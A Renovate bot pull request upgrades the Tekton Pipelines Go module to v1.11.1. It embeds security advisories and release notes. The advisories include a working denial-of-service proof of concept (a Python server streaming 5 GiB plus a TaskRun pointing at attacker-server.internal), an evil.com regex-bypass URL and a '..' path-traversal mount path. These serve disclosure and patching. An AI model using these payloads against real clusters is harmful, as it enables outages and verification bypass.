Skip to content

chore(deps): update module github.com/tektoncd/pipeline to v1 [security] (release-v0.24)#813

Open
redhat-renovate-bot wants to merge 1 commit intorelease-v0.24from
renovate/release-v0.24-go-github.com-tektoncd-pipeline-vulnerability
Open

chore(deps): update module github.com/tektoncd/pipeline to v1 [security] (release-v0.24)#813
redhat-renovate-bot wants to merge 1 commit intorelease-v0.24from
renovate/release-v0.24-go-github.com-tektoncd-pipeline-vulnerability

Conversation

@redhat-renovate-bot
Copy link
Copy Markdown
Collaborator

@redhat-renovate-bot redhat-renovate-bot commented Mar 18, 2026 •
edited
Loading

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Type Update Change
github.com/tektoncd/pipeline require major v0.65.2 → v1.11.1

GitHub Vulnerability Alerts

CVE-2026-25542

Summary

The Trusted Resources verification system matches a resource source string (refSource.URI) against spec.resources[].pattern using Go's regexp.MatchString. In Go, regexp.MatchString reports a match if the pattern matches anywhere in the input string. As a result, common unanchored patterns—including examples found in Tekton documentation—can be bypassed by attacker-controlled source strings that contain the trusted pattern as a substring. This may cause an unintended policy match and alter which verification mode or keys are applied.

Affected Component

Impact

An attacker can craft a Trusted Resources source string that embeds a trusted substring and still matches an unanchored VerificationPolicy spec.resources[].pattern, even if the policy is intended to constrain matches to a specific trusted source. This occurs because regexp.MatchString succeeds on substring matches. For example, a pattern such as https://github.com/tektoncd/catalog.git would match an attacker-controlled source like https://evil.com/?x=https://github.com/tektoncd/catalog.git.

Affected: Deployments using Trusted Resources verification with unanchored VerificationPolicy patterns, where an attacker can influence the refSource.URI value used for policy matching.

Not affected: Deployments that anchor all patterns (^...$) or otherwise enforce full-string matching; deployments where attackers cannot influence refSource.URI.

Reproduction

Canonical (Demonstrates Vulnerability)

unzip -q -o poc.zip -d /tmp/poc-tekton-regex-001
cd /tmp/poc-tekton-regex-001/poc-F-TEKTON-REGEX-001
bash ./run.sh canonical | tee /tmp/tekton-regex-001-canonical.log
  • Expected (secure): Capability not reached; canonical does not emit vulnerability markers.
  • Actual (vulnerable): Capability reached; canonical emits vulnerability markers.
  • Canonical markers (mandatory): [CALLSITE_HIT] + [PROOF_MARKER]

Negative Control

bash ./run.sh control | tee /tmp/tekton-regex-001-control.log
  • Expected: Capability not reached under the same harness; control emits the control marker and does not emit vulnerability markers.
  • Control markers (mandatory): [CALLSITE_HIT] + [NC_MARKER]

Verification

grep -n '\[PROOF_MARKER\]' /tmp/tekton-regex-001-canonical.log \
  && grep -n '\[NC_MARKER\]' /tmp/tekton-regex-001-control.log \
  && ! grep -n '\[PROOF_MARKER\]' /tmp/tekton-regex-001-control.log

Suggested Fix

It is recommended to make matching safe-by-default by requiring full-string matches, or by validating patterns and clearly documenting substring semantics. Possible approaches include:

  1. Anchor patterns before matching — e.g., wrap pattern as ^(?:pattern)$ when not already anchored.
  2. Introduce a separate field for exact match vs. regex match semantics.
  3. Document substring semantics explicitly and update all documentation examples to include anchors.

A fix is considered accepted when, under the same harness, the canonical test still hits [CALLSITE_HIT] but does not emit [PROOF_MARKER].

Workarounds

Anchor all VerificationPolicy resource patterns so they must match the full source string. For example:

pattern: "^https://github\\.com/tektoncd/catalog\\.git$"

Proof Bundle

  • Bundle: poc.zip
  • Convention: The zip extracts under a single top-level folder (poc-F-TEKTON-REGEX-001/) to avoid collisions.
  • Contains: canonical.log, control.log, witness.txt
  • Extracted paths: ./poc/poc-F-TEKTON-REGEX-001/canonical.log, ./poc/poc-F-TEKTON-REGEX-001/control.log, ./poc/poc-F-TEKTON-REGEX-001/witness.txt
  • Integrity verification: Compare shasum -a 256 for canonical.log, control.log, fix.patch, and test source against witness.txt.

Note: If a supported integration uses verified HTTPS app-links or universal links only, provide the supported tag or branch and retesting on that pin can be arranged.

Tekton Pipelines controller panic via long resolver name in TaskRun/PipelineRun

CVE-2026-33022 / GHSA-cv4x-93xx-wgfj / GO-2026-4730

More information

Details

Summary

A user with permission to create or update a TaskRun or PipelineRun can crash the Tekton Pipelines controller by setting .spec.taskRef.resolver (or .spec.pipelineRef.resolver) to a string of 31 characters or more, causing a denial of service for all reconciliation.

Details

The controller panics in GenerateDeterministicNameFromSpec when building a deterministic ResolutionRequest name. The generated name has the format {resolver}-{hash} and, when the resolver name is long enough, the result exceeds the DNS-1123 label limit of 63 characters.

The truncation logic attempts to find a word boundary using strings.LastIndex(name, " "). Since the generated name never contains spaces (it is composed of the resolver name, a dash, and a hex-encoded hash), LastIndex returns -1, which is then used as a slice bound:

return name[:strings.LastIndex(name[:maxLength], " ")], nil
// strings.LastIndex returns -1 → panic: slice bounds out of range [:-1]

The panic crashes the controller. Because the offending TaskRun or PipelineRun is re-reconciled on restart, the controller enters a CrashLoopBackOff, blocking all TaskRun and PipelineRun reconciliation cluster-wide until the offending resource is manually deleted.

Built-in resolvers use short names (git, cluster, bundles, hub) and are not affected under normal usage. The vulnerability is exploitable by any user who can create TaskRuns or PipelineRuns with a custom resolver name.

Impact

Denial of service — A single malicious TaskRun or PipelineRun with a long resolver name is sufficient to crash the Tekton Pipelines controller into a restart loop, blocking all CI/CD reconciliation cluster-wide until the resource is removed.

Patches

Fixed in versions 1.0.1, 1.3.3, 1.6.1, 1.9.2, 1.10.2.

The fix computes the hash first, then truncates only the prefix (resolver name) to fit within the DNS-1123 label limit, preserving the full hash to maintain determinism and uniqueness of ResolutionRequest names.

Workarounds

Restrict who can create TaskRun and PipelineRun resources via Kubernetes RBAC. There is no validation-side workaround without patching.

Affected Versions

All releases from v0.60.0 through v1.10.0.

The vulnerable truncation logic was introduced in commit ea1fa7ad1fdc ("Remote Resolution Refactor"), first released in v0.60.0 (2024-05-22).

Currently supported affected releases:

  • v1.10.x (latest)
  • v1.9.x (LTS, EOL 2027-01-30)
  • v1.6.x (LTS, EOL 2026-10-31)
  • v1.3.x (LTS, EOL 2026-08-04)
  • v1.0.x (LTS, EOL 2026-04-29)

Releases prior to v0.60.0 are not affected — the truncation code did not exist.

Acknowledgments

This vulnerability was reported by Oleh Konko (@​1seal), who provided a thorough vulnerability analysis, proof-of-concept, and review of the fix. Thank you!

References

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Tekton Pipelines has VerificationPolicy regex pattern bypass via substring matching

CVE-2026-25542 / GHSA-rmx9-2pp3-xhcr

More information

Details

Summary

The Trusted Resources verification system matches a resource source string (refSource.URI) against spec.resources[].pattern using Go's regexp.MatchString. In Go, regexp.MatchString reports a match if the pattern matches anywhere in the input string. As a result, common unanchored patterns—including examples found in Tekton documentation—can be bypassed by attacker-controlled source strings that contain the trusted pattern as a substring. This may cause an unintended policy match and alter which verification mode or keys are applied.

Affected Component
Impact

An attacker can craft a Trusted Resources source string that embeds a trusted substring and still matches an unanchored VerificationPolicy spec.resources[].pattern, even if the policy is intended to constrain matches to a specific trusted source. This occurs because regexp.MatchString succeeds on substring matches. For example, a pattern such as https://github.com/tektoncd/catalog.git would match an attacker-controlled source like https://evil.com/?x=https://github.com/tektoncd/catalog.git.

Affected: Deployments using Trusted Resources verification with unanchored VerificationPolicy patterns, where an attacker can influence the refSource.URI value used for policy matching.

Not affected: Deployments that anchor all patterns (^...$) or otherwise enforce full-string matching; deployments where attackers cannot influence refSource.URI.

Reproduction
Canonical (Demonstrates Vulnerability)
unzip -q -o poc.zip -d /tmp/poc-tekton-regex-001
cd /tmp/poc-tekton-regex-001/poc-F-TEKTON-REGEX-001
bash ./run.sh canonical | tee /tmp/tekton-regex-001-canonical.log
  • Expected (secure): Capability not reached; canonical does not emit vulnerability markers.
  • Actual (vulnerable): Capability reached; canonical emits vulnerability markers.
  • Canonical markers (mandatory): [CALLSITE_HIT] + [PROOF_MARKER]
Negative Control
bash ./run.sh control | tee /tmp/tekton-regex-001-control.log
  • Expected: Capability not reached under the same harness; control emits the control marker and does not emit vulnerability markers.
  • Control markers (mandatory): [CALLSITE_HIT] + [NC_MARKER]
Verification
grep -n '\[PROOF_MARKER\]' /tmp/tekton-regex-001-canonical.log \
  && grep -n '\[NC_MARKER\]' /tmp/tekton-regex-001-control.log \
  && ! grep -n '\[PROOF_MARKER\]' /tmp/tekton-regex-001-control.log
Suggested Fix

It is recommended to make matching safe-by-default by requiring full-string matches, or by validating patterns and clearly documenting substring semantics. Possible approaches include:

  1. Anchor patterns before matching — e.g., wrap pattern as ^(?:pattern)$ when not already anchored.
  2. Introduce a separate field for exact match vs. regex match semantics.
  3. Document substring semantics explicitly and update all documentation examples to include anchors.

A fix is considered accepted when, under the same harness, the canonical test still hits [CALLSITE_HIT] but does not emit [PROOF_MARKER].

Workarounds

Anchor all VerificationPolicy resource patterns so they must match the full source string. For example:

pattern: "^https://github\\.com/tektoncd/catalog\\.git$"
Proof Bundle
  • Bundle: poc.zip
  • Convention: The zip extracts under a single top-level folder (poc-F-TEKTON-REGEX-001/) to avoid collisions.
  • Contains: canonical.log, control.log, witness.txt
  • Extracted paths: ./poc/poc-F-TEKTON-REGEX-001/canonical.log, ./poc/poc-F-TEKTON-REGEX-001/control.log, ./poc/poc-F-TEKTON-REGEX-001/witness.txt
  • Integrity verification: Compare shasum -a 256 for canonical.log, control.log, fix.patch, and test source against witness.txt.

Note: If a supported integration uses verified HTTPS app-links or universal links only, provide the supported tag or branch and retesting on that pin can be arranged.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Tekton Pipelines: VolumeMount path restriction bypass via missing filepath.Clean in /tekton/ check

CVE-2026-40923 / GHSA-rx35-6rhx-7858

More information

Details

Summary

A validation bypass in the VolumeMount path restriction allows mounting volumes under restricted /tekton/ internal paths by using .. path traversal components. The restriction check uses strings.HasPrefix without filepath.Clean, so a path like /tekton/home/../results passes validation but resolves to /tekton/results at runtime.

Details

Tekton Pipelines restricts VolumeMount paths under /tekton/ (except /tekton/home) to prevent users from interfering with internal execution state. The validation at pkg/apis/pipeline/v1/container_validation.go checks mount paths using strings.HasPrefix without normalizing the path first:

if strings.HasPrefix(vm.MountPath, "/tekton/") &&
    !strings.HasPrefix(vm.MountPath, "/tekton/home") {
    // reject
}

Because /tekton/home is an allowed prefix, a path like /tekton/home/../results passes both checks. At runtime, the container runtime resolves .. and the actual mount point becomes /tekton/results.

The same pattern exists in pkg/apis/pipeline/v1beta1/task_validation.go.

Impact

An authenticated user with Task or TaskRun creation permissions can mount volumes over internal Tekton paths, potentially:

  • Writing fake task results that downstream pipelines trust
  • Reading or modifying step scripts before execution
  • Interfering with entrypoint coordination state
Patches

A patch is available at v1.11.1.

Workarounds
  • Use admission controllers (OPA/Gatekeeper, Kyverno) to validate that VolumeMount paths do not contain .. components.
  • In multi-tenant setups, restrict who can create Task and TaskRun resources via RBAC.
Affected Versions

All versions through v1.11.0 (both v1 and v1beta1 APIs).

Acknowledgments

This vulnerability was reported by @​kodareef5.

Severity

  • CVSS Score: 5.4 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Tekton Pipelines: HTTP Resolver Unbounded Response Body Read Enables Denial of Service via Memory Exhaustion

CVE-2026-40924 / GHSA-m2cx-gpqf-qf74

More information

Details

Summary

The HTTP resolver's FetchHttpResource function calls io.ReadAll(resp.Body) with no response body size limit. Any tenant with permission to create TaskRuns or PipelineRuns that reference the HTTP resolver can point it at an attacker-controlled HTTP server that returns a very large response body within the 1-minute timeout window, causing the tekton-pipelines-resolvers pod to be OOM-killed by Kubernetes. Because all resolver types (Git, Hub, Bundle, Cluster, HTTP) run in the same pod, crashing this pod denies resolution service to the entire cluster. Repeated exploitation causes a sustained crash loop. The same vulnerable code path is reached by both the deprecated pkg/resolution/resolver/http and the current pkg/remoteresolution/resolver/http implementations.

Details

pkg/resolution/resolver/http/resolver.go:279–307:

func FetchHttpResource(ctx context.Context, params map[string]string,
    kubeclient kubernetes.Interface, logger *zap.SugaredLogger) (framework.ResolvedResource, error) {

    httpClient, err := makeHttpClient(ctx)  // default timeout: 1 minute
    // ...
    resp, err := httpClient.Do(req)
    // ...
    defer func() { _ = resp.Body.Close() }()

    body, err := io.ReadAll(resp.Body)  // ← no size limit
    if err != nil {
        return nil, fmt.Errorf("error reading response body: %w", err)
    }
    // ...
}

makeHttpClient sets http.Client{Timeout: timeout} where timeout defaults to 1 minute and is configurable via fetch-timeout in the http-resolver-config ConfigMap. The timeout bounds the duration of the entire request (including body read), which limits slow-drip attacks. However, it does not limit the total number of bytes allocated. A fast HTTP server can deliver multi-gigabyte responses well within the 1-minute window.

The resolver deployment (config/core/deployments/resolvers-deployment.yaml) sets a 4 GiB memory limit on the controller container. A response of 4 GiB or larger delivered at wire speed will cause io.ReadAll to allocate 4 GiB, triggering an OOM-kill. With the default timeout of 60 seconds, a server delivering at 100 MB/s can supply 6 GB — well above the 4 GiB limit — before the timeout fires.

The remoteresolution HTTP resolver (pkg/remoteresolution/resolver/http/resolver.go:90) delegates directly to the same FetchHttpResource function and is equally affected.

PoC
##### Step 1: Run an HTTP server that streams a large response fast
python3 - <<'EOF'
import http.server, socketserver

class LargeResponseHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "application/octet-stream")
        self.end_headers()
        # Stream 5 GB at full speed — completes in <60s on a local network
        chunk = b"X" * (1024 * 1024)  # 1 MiB chunk
        for _ in range(5120):          # 5120 * 1 MiB = 5 GiB
            self.wfile.write(chunk)

    def log_message(self, *args):
        pass

with socketserver.TCPServer(("", 8080), LargeResponseHandler) as httpd:
    httpd.serve_forever()
EOF

##### Step 2: Create a TaskRun that triggers the HTTP resolver
kubectl create -f - <<'EOF'
apiVersion: tekton.dev/v1
kind: TaskRun
metadata:
  name: dos-poc
  namespace: default
spec:
  taskRef:
    resolver: http
    params:
      - name: url
        value: http://attacker-server.internal:8080/large-payload
EOF

##### Expected result: tekton-pipelines-resolvers pod is OOM-killed.

##### All resolver types in the cluster (git, hub, bundle, cluster, http)
##### become unavailable until Kubernetes restarts the pod.

##### Repeated submission causes a crash loop that continuously disrupts
##### resolution for all tenants in the cluster.

Note: On clusters where operators have set a higher fetch-timeout (e.g., 10m), the attacker has more time to deliver a larger body, and the attack is more reliable. On clusters with tight memory limits on the resolver pod, a smaller payload suffices.

Impact
  • Denial of Service: OOM-kill of the tekton-pipelines-resolvers pod denies all resolution services cluster-wide until Kubernetes restarts the pod.
  • Crash loop amplification: A tenant can submit multiple concurrent TaskRuns pointing to the attack server. Each in-flight resolution request accumulates memory independently in the same pod, reducing the payload size needed to reach the OOM threshold.
  • Blast radius: Because all resolver types share a single pod, disrupting the HTTP resolver also disrupts unrelated users of the Git, Bundle, Cluster, and Hub resolvers. This is a cluster-wide availability impact achievable by a single namespace-level user.
Recommended Fix

Wrap resp.Body with io.LimitReader before passing to io.ReadAll. Add a configurable max-body-size option to the http-resolver-config ConfigMap with a sensible default (e.g., 50 MiB, which exceeds the size of any realistic pipeline YAML file):

const defaultMaxBodyBytes = 50 * 1024 * 1024 // 50 MiB

// In FetchHttpResource, replace:
//   body, err := io.ReadAll(resp.Body)
// with:
maxBytes := int64(defaultMaxBodyBytes)
if v, ok := conf["max-body-size"]; ok {
    if parsed, err := strconv.ParseInt(v, 10, 64); err == nil {
        maxBytes = parsed
    }
}
limitedReader := io.LimitReader(resp.Body, maxBytes+1)
body, err := io.ReadAll(limitedReader)
if err != nil {
    return nil, fmt.Errorf("error reading response body: %w", err)
}
if int64(len(body)) > maxBytes {
    return nil, fmt.Errorf("response body exceeds maximum allowed size of %d bytes", maxBytes)
}

This fix must be applied to FetchHttpResource in pkg/resolution/resolver/http/resolver.go, which is shared by both the deprecated and current HTTP resolver implementations.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Release Notes

tektoncd/pipeline (github.com/tektoncd/pipeline)

v1.11.1: Tekton Pipeline release v1.11.1 "Javanese Jocasta"

Compare Source

-Docs @​ v1.11.1
-Examples @​ v1.11.1

Installation one-liner

kubectl apply -f https://infra.tekton.dev/tekton-releases/pipeline/previous/v1.11.1/release.yaml

Attestation

The Rekor UUID for this release is 108e9186e8c5677a51c33e77fb56b7f99fdf192905340ce9abdc60589cba2da3451c60ad738768c2

Obtain the attestation:

REKOR_UUID=108e9186e8c5677a51c33e77fb56b7f99fdf192905340ce9abdc60589cba2da3451c60ad738768c2
rekor-cli get --uuid $REKOR_UUID --format json | jq -r .Attestation | jq .

Verify that all container images in the attestation are in the release file:

RELEASE_FILE=https://infra.tekton.dev/tekton-releases/pipeline/previous/v1.11.1/release.yaml
REKOR_UUID=108e9186e8c5677a51c33e77fb56b7f99fdf192905340ce9abdc60589cba2da3451c60ad738768c2

# Obtains the list of images with sha from the attestation
REKOR_ATTESTATION_IMAGES=$(rekor-cli get --uuid "$REKOR_UUID" --format json | jq -r .Attestation | jq -r '.subject[]|.name + ":v1.11.1@&#8203;sha256:" + .digest.sha256')

# Download the release file
curl -L "$RELEASE_FILE" > release.yaml

# For each image in the attestation, match it to the release file
for image in $REKOR_ATTESTATION_IMAGES; do
  printf $image; grep -q $image release.yaml && echo " ===> ok" || echo " ===> no match";
done

Changes

⚠️ Security Fixes

  • GHSA-wjxp-xrpv-xpff / CVE-2026-40161 (HIGH): Git resolver API mode leaks system-configured API token to user-controlled serverURL. A user who can create TaskRuns can exfiltrate the system Git API token by pointing the resolver at an attacker-controlled server.

  • GHSA-94jr-7pqp-xhcq / CVE-2026-40938 (HIGH): Git resolver unsanitized revision parameter enables argument injection. A malicious revision value can inject arbitrary flags into the git CLI, potentially leading to remote code execution on the resolver pod.

  • GHSA-rx35-6rhx-7858 / CVE-2026-40923 (Medium): VolumeMount path restriction bypass via missing filepath normalization. Paths like /tekton/../sensitive bypass the /tekton/ prefix restriction check.

  • GHSA-rmx9-2pp3-xhcr / CVE-2026-25542 (Medium): VerificationPolicy regex pattern bypass via substring matching. Unanchored patterns allow partial matches, letting unsigned resources pass verification.

  • GHSA-m2cx-gpqf-qf74 / CVE-2026-40924 (Medium): HTTP resolver unbounded response body read enables OOM denial of service. A malicious URL returning a very large response can exhaust the resolver pod's memory. Response body is now limited to 1 MiB.

Fixes
  • 🐛 Bump google.golang.org/grpc from 1.79.3 to 1.80.0

v1.11.0: Tekton Pipeline release v1.11.0 "Javanese Jocasta"

Compare Source

🎉 🐱 TaskRun pending parity, multiple Git credentials, and PVC auto-cleanup 🤖 🎉

-Docs @​ v1.11.0
-Examples @​ v1.11.0

Installation one-liner

kubectl apply -f https://infra.tekton.dev/tekton-releases/pipeline/previous/v1.11.0/release.yaml

Attestation

The Rekor UUID for this release is 108e9186e8c5677ae7cc1db0d04d478cc74a86ca458747f1ca41fe102d4ec5f14a6f8ec59c48facd

Obtain the attestation:

REKOR_UUID=108e9186e8c5677ae7cc1db0d04d478cc74a86ca458747f1ca41fe102d4ec5f14a6f8ec59c48facd
rekor-cli get --uuid $REKOR_UUID --format json | jq -r .Attestation | jq .

Verify that all container images in the attestation are in the release file:

RELEASE_FILE=https://infra.tekton.dev/tekton-releases/pipeline/previous/v1.11.0/release.yaml
REKOR_UUID=108e9186e8c5677ae7cc1db0d04d478cc74a86ca458747f1ca41fe102d4ec5f14a6f8ec59c48facd

# Obtains the list of images with sha from the attestation
REKOR_ATTESTATION_IMAGES=$(rekor-cli get --uuid "$REKOR_UUID" --format json | jq -r .Attestation | jq -r '.subject[]|.name + ":v1.11.0@&#8203;sha256:" + .digest.sha256')

# Download the release file
curl -L "$RELEASE_FILE" > release.yaml

# For each image in the attestation, match it to the release file
for image in $REKOR_ATTESTATION_IMAGES; do
  printf $image; grep -q $image release.yaml && echo " ===> ok" || echo " ===> no match";
done

Changes

Features

  • ✨ feat(webhook): Bump knative.dev/pkg to enable centrally managed WEBHOOK_* TLS for the webhook (#​9466)

Bump knative.dev/pkg to enable centralized WEBHOOK_* TLS configuration for the webhook (min/max version, cipher suites, curves).
Webhook now inherits TLS policy from environment (operator/cluster); defaults remain TLS 1.3 when unset.

  • ✨ Add multi-URL support and per-resolution url param to Hub Resolver (#​9465)

dd multi-URL support and per-resolution url parameter to Hub Resolver, enabling ordered fallback across multiple hub instances and explicit URL targeting per resolution request.

  • ✨ Add pending status support for TaskRun (parity with PipelineRun) (#​9464)

TaskRun now supports spec.status: TaskRunPending to defer execution.
When pending, no Pod is created and status.startTime is not set.
Clearing spec.status starts execution, or setting TaskRunCancelled cancels without running.

  • ✨ feat: add optional PVC auto-cleanup annotation for workspaces mode (#​9354)

Add optional PVC auto-cleanup for workspaces mode via tekton.dev/auto-cleanup-pvc: "true" annotation. When set on a PipelineRun using coschedule: workspaces, PVCs created from volumeClaimTemplate workspaces are automatically deleted on completion. User-provided persistentVolumeClaim workspaces are never affected.

  • ✨ Add Gitea e2e tests to CI (#​9442)
Fixes
  • 🐛 Fix: Add SSH Host aliases to support multiple SSH credentials on same host (#​9643)

Fixed SSH credential matching to support multiple repositories on the same host with different SSH keys. Previously, when using multiple SSH auth secrets for different repositories on the same Git server (e.g., github.com/org/repo1 and github.com/org/repo2), SSH would use the first key for all repositories, causing authentication failures with deploy keys. SSH Host aliases and Git url.*.insteadOf rewriting now enable per-repository SSH key selection when the secret annotation URL includes a repo path.

  • 🐛 fix: make step-init symlink creation idempotent (#​9600)

ix entrypoint step-init to handle container restarts gracefully. Previously, if a container restarted within a pod (e.g. due to OOM or eviction), the init process would fail with "symlink: file exists" because symlinks from the previous run persisted on the shared volume.

  • 🐛 fix: replace silent default namespace fallback with explicit error in GetNameAndNamespace (#​9594)

eplace silent "default" namespace fallback in GetNameAndNamespace with an explicit error, preventing potential ResolutionRequest creation in wrong namespace.

  • 🐛 fix: resolve context key collision and ownerRef nil panic in resolution framework (#​9593)

ix context key collision in resolution framework where RequestName() silently returned the namespace value, and fix nil pointer panic in ownerRefsAreEqual when both Controller fields are nil.

  • 🐛 fix: cluster resolver namespace access control whitespace and wildcard bugs (#​9592)

ix cluster resolver namespace access control: trim whitespace in allowed/blocked namespace lists, fix wildcard (*) handling when combined with explicit entries, and reject empty default-namespace values.

  • 🐛 fix: convert pod latency metric to histogram and remove pod label (#​9530)

ction required: The tekton_pipelines_controller_taskruns_pod_latency_milliseconds metric has been converted from a Gauge to a Histogram and the pod label has been removed. Dashboards or alerts referencing this metric will need to be updated to use histogram_quantile() instead of direct value queries.

  • 🐛 fix: use hashed volume names to prevent credential volume name collisions (#​9528)

ix credential volume name collisions when namespaces have many (118+)
annotated secrets. Volume names now use deterministic SHA-256 hashing
instead of truncation with random suffix.

  • 🐛 Fix running_taskruns metric overcounting TaskRuns with no condition (#​9485)

Fixed overcounting in the running_taskruns metric for TaskRuns with no condition set yet.

  • 🐛 fix: propagate PipelineRun tasks/finally timeout to child TaskRuns (#​9419)

When spec.timeouts.tasks or spec.timeouts.finally on a PipelineRun exceeds the global default timeout, the value is now propagated to individual child TaskRuns that do not have an explicit per-task timeout. This prevents TaskRuns from being prematurely canceled at the global default (e.g., 1h) when the PipelineRun allows a longer duration.

  • 🐛 Bugfix: deduplicate concurrent resolver cache requests with singleflight. (#​9365)

Fix resolver cache race condition causing duplicate upstream pulls under concurrent load.

  • 🐛 Fix: Add useHttpPath to support multiple Git credentials on same host (#​9143)

Fixed Git credential matching to support multiple repositories on the same host with different credentials. Previously, when using multiple secrets for different repositories on the same Git server (e.g., github.com/org/repo1 and github.com/org/repo2), it incorrectly use the first credential for all repositories, causing authentication failures. Git credential contexts now include useHttpPath = true, enabling proper per-repository credential selection.

  • 🐛 fix: record metrics for cancelled PipelineRuns (#​9658)
  • 🐛 Add explicit permissions blocks to workflows missing them (#​9562)
  • 🐛 fix: revert mistaken metadata changes in resolvers config-observability (#​9468)
  • 🐛 fix: update default tracing endpoint to http protobuf endpoint (#​9141)
  • 🐛 fix: Pin Ubuntu,Bash,Python, Node & Perl container images to digests in examples/v1/taskruns/step-script.yaml (#​9618)
  • 🐛 fix: Pin alpine-git-nonroot,alpine/git,busybox & nop container images to digests in examples/v1/taskruns (#​9614)
  • 🐛 fix: Pin Bash,Alpine & Busybox container images to digests in examples/v1/taskruns (#​9610)
  • 🐛 fix: Pin Ubuntu container images to digests in examples/v1/taskruns (#​9607)
Misc

  • 🔨 perf(pipelinerun): hoist VerificationPolicy list out of per-task loop in resolvePipelineState (#​9601)

  • 🔨 ci: fix GitHub Actions security issues found by zizmor (#​9667)

  • 🔨 Extract memberOfLookup from createChildResourceLabels to reduce nested loop (#​9596)

  • 🔨 cleanup: replace GCS release URLs with infra.tekton.dev (#​9569)

  • 🔨 fix: Upgrade Gitea test infrastructure from v1.17.1 to latest (#​9568)

  • 🔨 chore: bump knative.dev/pkg to main and k8s libs to 0.35.1 (#​9470)

  • 🔨 Update stale comment about storing TaskSpec in status (#​9661)

  • 🔨 build(deps): bump the all group in /tekton with 4 updates (#​9652)

  • 🔨 build(deps): bump github/codeql-action from 4.33.0 to 4.34.1 (#​9651)

  • 🔨 build(deps): bump actions/cache from 5.0.3 to 5.0.4 (#​9650)

  • 🔨 build(deps): bump chainguard-dev/actions from 1.6.8 to 1.6.9 (#​9649)

  • 🔨 build(deps): bump github.com/spiffe/spire-api-sdk from 1.14.3 to 1.14.4 (#​9648)

  • 🔨 build(deps): bump k8s.io/apimachinery from 0.35.2 to 0.35.3 (#​9639)

  • 🔨 build(deps): bump k8s.io/client-go from 0.35.2 to 0.35.3 (#​9638)

  • 🔨 build(deps): bump k8s.io/api from 0.34.5 to 0.34.6 in /test/custom-task-ctrls/wait-task-beta (#​9637)

  • 🔨 build(deps): bump k8s.io/client-go from 0.34.5 to 0.34.6 in /test/custom-task-ctrls/wait-task-beta (#​9634)

  • 🔨 build(deps): bump github.com/spiffe/spire-api-sdk from 1.14.1 to 1.14.3 (#​9629)

  • 🔨 build(deps): bump google.golang.org/grpc from 1.79.2 to 1.79.3 (#​9628)

  • 🔨 build(deps): bump github.com/google/go-containerregistry from 0.21.2 to 0.21.3 (#​9627)

  • 🔨 build(deps): bump github.com/tektoncd/pipeline from 1.10.0 to 1.10.2 in /test/custom-task-ctrls/wait-task-beta (#​9626)

  • 🔨 build(deps): bump golang.org/x/sync from 0.19.0 to 0.20.0 (#​9611)

  • 🔨 build(deps): bump the all group in /tekton with 4 updates (#​9587)

  • 🔨 build(deps): bump github/codeql-action from 4.32.6 to 4.33.0 (#​9586)

  • 🔨 build(deps): bump fgrosse/go-coverage-report from 1.2.0 to 1.3.0 (#​9585)

  • 🔨 build(deps): bump step-security/harden-runner from 2.15.1 to 2.16.0 (#​9584)

  • 🔨 build(deps): bump chainguard-dev/actions from 1.6.7 to 1.6.8 (#​9583)

  • 🔨 Remove opencensus dependency from test files (#​9553)

  • 🔨 Update tj-actions/changed-files version comment to v47.0.5 (#​9552)

  • 🔨 build(deps): bump go.opentelemetry.io/otel/trace from 1.41.0 to 1.42.0 (#​9549)

  • 🔨 build(deps): bump github.com/google/go-containerregistry from 0.21.1 to 0.21.2 (#​9548)

  • 🔨 build(deps): bump google.golang.org/grpc from 1.79.1 to 1.79.2 (#​9547)

  • 🔨 build(deps): bump step-security/harden-runner from 2.15.0 to 2.15.1 (#​9542)

  • 🔨 build(deps): bump the all group in /tekton with 4 updates (#​9541)

  • 🔨 build(deps): bump tj-actions/changed-files from 47.0.4 to 47.0.5 (#​9540)

  • 🔨 build(deps): bump chainguard-dev/actions from 1.6.5 to 1.6.7 (#​9539)

  • 🔨 build(deps): bump github/codeql-action from 4.32.5 to 4.32.6 (#​9538)

  • 🔨 build(deps): bump actions/dependency-review-action from 4.8.3 to 4.9.0 (#​9536)

  • 🔨 Nominate khrm and aThorp96 as pipeline approvers (#​9519)

  • 🔨 Move inactive approvers to alumni (#​9518)

  • 🔨 build(deps): bump k8s.io/apiextensions-apiserver from 0.35.1 to 0.35.2 (#​9487)

  • 🔨 build(deps): bump the all group in /tekton with 4 updates (#​9483)

  • 🔨 build(deps): bump github/codeql-action from 4.32.4 to 4.32.5 (#​9482)

  • 🔨 build(deps): bump step-security/harden-runner from 2.14.2 to 2.15.0 (#​9481)

  • 🔨 build(deps): bump actions/setup-go from 6.2.0 to 6.3.0 (#​9480)

  • 🔨 build(deps): bump chainguard-dev/actions from 1.6.4 to 1.6.5 (#​9479)

  • 🔨 build(deps): bump actions/upload-artifact from 6.0.0 to 7.0.0 (#​9478)

  • 🔨 build(deps): bump go.opentelemetry.io/otel/metric from 1.40.0 to 1.41.0 (#​9477)

  • 🔨 build(deps): bump k8s.io/apimachinery from 0.35.1 to 0.35.2 (#​9476)

  • 🔨 build(deps): bump k8s.io/client-go from 0.34.3 to 0.34.5 in /test/custom-task-ctrls/wait-task-beta (#​9475)

  • 🔨 build(deps): bump k8s.io/code-generator from 0.35.1 to 0.35.2 (#​9473)

  • 🔨 build(deps): bump k8s.io/api from 0.34.3 to 0.34.5 in /test/custom-task-ctrls/wait-task-beta (#​9472)

  • 🔨 build(deps): bump k8s.io/apiextensions-apiserver from 0.34.3 to 0.34.5 (#​9455)

  • 🔨 build(deps): bump github.com/tektoncd/pipeline from 1.9.1 to 1.10.0 in /test/custom-task-ctrls/wait-task-beta (#​9453)

  • 🔨 build(deps): bump k8s.io/client-go from 0.34.3 to 0.34.4 (#​9447)

